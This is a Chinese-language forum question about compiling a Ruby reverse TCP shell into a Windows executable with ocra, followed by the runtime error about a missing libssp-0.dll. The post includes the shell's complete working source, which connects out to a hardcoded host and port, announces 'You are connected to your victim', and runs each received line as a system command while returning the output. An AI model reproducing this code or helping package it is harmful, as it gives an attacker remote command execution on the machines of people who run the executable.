我正在尝试用 ocra 编译一个用 ruby 编写的简单反向 TCP shell。
代码非常简单:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"
#Tries to connect every 5 seconds
begin
sock = TCPSocket.new "#{RHOST}","#{PORT}"
sock.puts "You are connected to your victim"
rescue
puts "Retrying..."
sleep 5
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets && line
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
我用以下方式构建它:ocra RevShell.rb --verbose
我没有收到任何错误消息,但每当我尝试运行 .exe 时,我都会收到以下错误:“C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found”
我错过了什么吗?Ocra 应该自行检查所需的要求,将其添加到 exe 中,因为我仍然想念这个 dll。
谢谢你的帮助。